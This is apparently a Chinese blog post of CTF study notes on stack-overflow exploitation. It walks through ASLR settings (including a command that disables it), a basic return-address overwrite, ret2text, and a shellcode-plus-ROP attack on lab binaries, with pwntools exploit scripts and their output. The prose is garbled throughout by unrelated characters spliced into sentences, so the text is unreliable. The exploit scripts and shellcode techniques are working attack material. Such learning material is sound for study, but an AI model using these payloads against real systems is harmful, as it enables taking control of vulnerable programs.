終于沉下心來(lái)好好的把ctf-wiki上的pwn部分看了一下(當(dāng)然菜雞的我海之看懂了棧)
首先需要補(bǔ)充一下aslr
我們可以通過(guò)修改 /proc/sys/kernel/randomize_va_space 來(lái)控制 ASLR 啟動(dòng)與否提完,具體的選項(xiàng)有
0形纺,關(guān)閉 ASLR,沒有隨機(jī)化徒欣。棧逐样、堆、.so 的基地址每次都相同打肝。
1官研,普通的 ASLR。棿扯茫基地址戏羽、mmap 基地址、.so 加載基地址都將被隨機(jī)化楼吃,但是堆基地址沒有隨機(jī)化始花。
2,增強(qiáng)的 ASLR孩锡,在 1 的基礎(chǔ)上酷宵,增加了堆基地址隨機(jī)化。
我們可以使用echo 0 > /proc/sys/kernel/randomize_va_space關(guān)閉 Linux 系統(tǒng)的 ASLR躬窜,類似的浇垦,也可以配置相應(yīng)的參數(shù)。
棧溢出原理
最基本的棧溢出原理無(wú)非就是通過(guò)控制輸入荣挨, 填充男韧, 覆蓋掉ebp, 同時(shí)重寫返回地址
比如:
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
當(dāng)然我是把很多模式都關(guān)掉了
% checksec stack_example
[*] '/home/abc/Desktop/pwn/example/stack_example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
使用 -fno-stack-protector
和-no-pie
關(guān)閉canary
和PIE
IDA拖進(jìn)去之后主要是看vulnerable
函數(shù)
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}
可以知道s
距離 ebp
為0x14h個(gè)字節(jié)
直接沖掉默垄, 同時(shí)把返回地址變成我們想要的
.text:08048456 success proc near
.text:08048456
.text:08048456 var_4 = dword ptr -4
.text:08048456
.text:08048456 push ebp
.text:08048457 mov ebp, esp
.text:08048459 push ebx
.text:0804845A sub esp, 4
.text:0804845D call __x86_get_pc_thunk_ax
.text:08048462 add eax, 1B9Eh
.text:08048467 sub esp, 0Ch
.text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; "You Hava already controlled it."
.text:08048470 push edx ; s
.text:08048471 mov ebx, eax
.text:08048473 call _puts
.text:08048478 add esp, 10h
.text:0804847B nop
.text:0804847C mov ebx, [ebp+var_4]
.text:0804847F leave
.text:08048480 retn
.text:08048480 success endp
返回地址需要變成 0x08048456
然后寫exp
from pwn import *
context.binary = './stack_example'
if args['DEBUG']:
context.log_level = 'debug'
#context.log_level = 'debug'
p = process('./stack_example')
payload = 'a'*0x14+'bbbb'
payload += p32(0x08048456)
p.sendline(payload)
p.interactive()
結(jié)果:
% python exp.py
[*] '/home/abc/Desktop/pwn/example/stack_example'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[+] Starting local process './stack_example': pid 48512
[*] Switching to interactive mode
aaaaaaaaaaaaaaaaaaaabbbbV\x84\x0
You Hava already controlled it.
[*] Got EOF while reading in interactive
$ whoami
[*] Process './stack_example' stopped with exit code -11 (SIGSEGV) (pid 48512)
[*] Got EOF while sending in interactive
ret2text
IDA拖進(jìn)去之后看main
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}
顯然是通過(guò)gets()
函數(shù)來(lái)達(dá)到目的
注意到其中還有一個(gè)secure
函數(shù)
void secure()
{
unsigned int v0; // eax@1
int input; // [sp+18h] [bp-10h]@1
int secretcode; // [sp+1Ch] [bp-Ch]@1
v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf((const char *)&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");
}
通過(guò)這個(gè)函數(shù)可以獲得一個(gè)shell
但是似乎好像我沒成功此虑??
先使用cycli
生成一堆字符串
% cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
然后gdb啟動(dòng)
得到
Invalid address 0x62616164
之后
cyclic -l 0x62616164
得到偏移 為 112
之后寫腳本
% cat exp.py
from pwn import *
proc = './ret2text'
p = process(proc)
p.sendafter('?', 'a'*112+p32(0x080485FD))
p.interactive()
但是我好像沒有成功口锭。朦前。
% python exp.py
[+] Starting local process './ret2text': pid 54723
[*] Switching to interactive mode
$
static
之后再看一下君莫笑師傅的題目
源碼如下:
#include <stdio.h>
#include <unistd.h>
void init(){
setvbuf(stdout, NULL, _IOLBF, 0);
}
void welcome(){
write(1, "Welcome to zsctf!\n", 21);
}
void vuln(){
char buffer[8] = {0};
read(0, buffer, 0x40);
}
int main(){
init();
welcome();
vuln();
return 0;
}
查看一下報(bào)護(hù)
% checksec static
[*] '/home/abc/Desktop/pwnEaxmple/static/static'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
同樣的:
得到
Invalid address 0x61616166
計(jì)算出偏移地址
% cyclic -l 0x61616166
20
最后看下exp
% cat exp.py
from pwn import *
import time
proc = './static'
bss_addr = 0x0804A024
context.binary = proc
shellcode = asm(shellcraft.sh())
p = process(proc)
rop = ROP(proc)
rop.read(0, bss_addr+100, len(shellcode))
rop.call(bss_addr+100)
p.recvuntil("Welcome to zsctf!")
p.send('a'*20+str(rop))
time.sleep(1)
p.send(shellcode)
p.interactive()
需要注意的是 其實(shí) proc
是一個(gè)pwn內(nèi)置的一個(gè)模塊了
In [1]: from pwn import *
In [2]: proc
Out[2]: <module 'pwnlib.util.proc' from '/usr/local/lib/python2.7/dist-packages/pwnlib/util/proc.pyc'>